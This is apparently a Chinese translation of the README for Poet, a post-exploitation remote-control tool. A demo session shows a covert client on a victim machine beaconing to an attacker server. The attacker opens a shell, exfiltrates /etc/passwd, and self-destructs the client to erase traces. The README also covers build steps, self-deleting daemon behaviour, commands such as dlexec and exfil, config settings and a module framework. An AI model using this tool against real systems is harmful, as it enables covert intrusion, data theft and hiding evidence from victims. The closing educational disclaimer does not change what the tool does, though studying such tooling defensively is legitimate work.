一个简单的后渗透利用工具。
客户端程序运行在目标机器上,配置了服务器的IP地址和连接频率。如果客户端尝试连接时服务器未运行,客户端会静默休眠,并在下一个间隔重试。如果服务器正在运行,攻击者将获得一个控制壳,以控制客户端并在目标上执行各种操作,包括:
这只是Poet能力的一个小样本。
场景是:攻击者已经获得受害者机器的访问权限,下载并执行了客户端。此时她尚未运行服务器,但没关系,客户端会耐心等待。最终攻击者准备就绪,启动服务器,首先启动一个Shell并执行uname -a,然后外传/etc/passwd。之后她退出并分离客户端,客户端继续在目标上运行,等待下次连接服务器的机会。稍后,她再次连接,自毁客户端,清除目标上的所有痕迹。
受害者机器(5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client 会后台运行,所以看不到输出
警告:运行此命令后,您需要从服务器执行
selfdestruct,或杀掉poet-client进程以停止客户端。
攻击者机器(1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) 降权至 uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet 服务器启动 (端口 443)
[+] (06/28/15 03:58:50) 连接来自: ('127.0.0.1', 54494) -> 有效
[+] (06/28/15 03:58:50) 进入控制 Shell
欢迎使用 posh,Poet Shell!
运行 `help` 可查看支持的命令列表。
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) 退出控制 Shell
[-] (06/28/15 03:59:18) Poet 服务器终止
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) 降权至 uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet 服务器启动 (端口 443)
[+] (06/28/15 03:59:28) 连接来自: ('127.0.0.1', 54542) -> 有效
[+] (06/28/15 03:59:28) 进入控制 Shell
欢迎使用 posh,Poet Shell!
运行 `help' 可查看支持的命令列表。
posh > selfdestruct
[!] 警告:您将永久移除目标上的客户端。
您将立即失去对目标的访问权限。是否继续?(y/n) y
[+] (06/28/15 03:59:33) 退出控制 Shell
[-] (06/28/15 03:59:33) Poet 服务器终止
前往 releases 页面,下载最新的 poet-client 和 poet-server 文件。
然后跳至下面的使用章节。
或者,您也可以自己构建 Poet(非常简单,见下文)。
确保您拥有 python2.7 和 zip 可执行文件。
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
这将创建一个 bin/ 目录,其中包含 poet-client 和 poet-server。
Poet 使用非常简单,仅需 Python(2.7)标准库。为了轻松测试,典型的调用方式如下:
终端 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
默认情况下,Poet 客户端会后台运行并自动从磁盘删除自身,因此使用
--debug和--no-selfdestruct标志来抑制此行为。
终端 2:
$ sudo ./poet-server
默认情况下,服务器需要以 root 身份运行(使用
sudo),因为它默认绑定到端口 443。如果您对此感到不适,只需省略sudo,并在客户端和服务器上使用-p <PORT>标志即可。选择一个大于 1024 的端口号。
common/config.py 文件包含 Poet 构建的各种可选配置设置。
AUTH:客户端和服务器之间用于客户端身份验证的密钥令牌。请注意,默认值绝非秘密。对于任何非测试用途,建议将其更改为另一个不可猜测的值。请注意,预构建的包使用默认的公共身份验证令牌。ARCHIVE_DIR:服务器用于存储文件(执行输出、外传文件、侦察结果等)的目录。SERVER_IP:服务器的 IP 地址。BEACON_INTERVAL:客户端向服务器发送信标的间隔秒数。SERVER_IP 和 BEACON_INTERVAL 配置允许将之前需要在命令行参数中提供的信息嵌入最终的可执行文件中,从而使得最终的可执行文件可以在没有参数的情况下直接执行。如果它们中的任何一个值为 None,则会恢复为默认行为(SERVER_IP 需要命令行参数,BEACON_INTERVAL 为可选的命令行参数)。
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet 是一个客户端/服务器应用程序。客户端在目标上执行,并按一定时间间隔向服务器发送信标。唯一必需的参数是服务器将要运行的 IP 地址。之后可以可选地指定发送信标的时间间隔(秒),默认为 10 分钟。客户端发送信标的端口可以通过 -p 标志指定。所有其他标志在“实际”使用中不会用到,主要用于调试。
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
服务器在用户自己的机器上执行,监听来自客户端的信标。默认情况下,它监听特权端口(443),必须以特权运行(绑定后立即降权)。可以使用 -p 标志绕过此限制,选择一个非特权端口进行监听(>1024)。
Poet 通过其模块框架具有高度的可扩展性,事实上,posh 中几乎所有可用的命令都是作为模块实现的。它们可以在 common/modules/ 目录中查看。common/modules/template.py 是一个极简的示例模块,可用作起点。要添加一个 Poet 模块,只需将其放入 common/modules/ 目录,并使用 make 重新构建 Poet。
以下是一个简单的示例模块,展示了客户端和服务器之间的基本通信。该模块注册了一个 posh 命令,发送一个字符串,客户端将其反转后发回,服务器打印出来。
# 注意:此模块未检查 argv[1] 是否提供
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv 这里是 ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp 这里是 'reverse ...'
client.s.send(inp.split()[1][::-1])
模块以
import module
开头。这是必需的,用于在模块框架中注册。
接下来是模块的服务器端部分。
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv 这里是 ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.server_handler() 装饰器用于注册一个 posh 命令,通过传递命令名称作为装饰器参数,并定义一个处理函数在命令运行时执行。处理函数必须接受两个参数。一个是指调用该模块的 PoetServer 实例,另一个是输入的命令字符串,表示为参数列表。服务器实例的存在是为了让模块能够使用辅助函数与客户端通信、将文件写入存档目录等。模块使用 server.conn.exchange() 将输入的命令行作为字符串发送给客户端,并将响应作为返回值获取。
接下来是模块的客户端端部分。
@module.client_handler('reverse')
def client(client, inp):
# inp 这里是 'reverse ...'
client.s.send(inp.split()[1][::-1])
@module.client_handler() 装饰器用于注册一个任务,让客户端响应并处理。由于客户端和服务器通过传递字符串进行通信,字符串的第一部分是特定任务的关键字。该模块注册了一个客户端处理函数,当收到来自服务器的以 'reverse' 开头的消息时执行。与服务器处理函数类似,客户端处理函数必须接受参数:调用它的 PoetClient 实例,以及服务器传来的输入字符串。然后客户端使用 client.s.send() 函数将数据发送回服务器,在此例中,是将第一个参数反转后发送。
实际运行时,效果如下:
posh > reverse poet
Sending: poet
Received: teop
已记录的问题:
我正在构建 Poet 纯粹是为了自己的教育和学习体验。代码免费提供,因为我认为它可能对其他有兴趣学习这类东西的人有用。请负责任地使用它。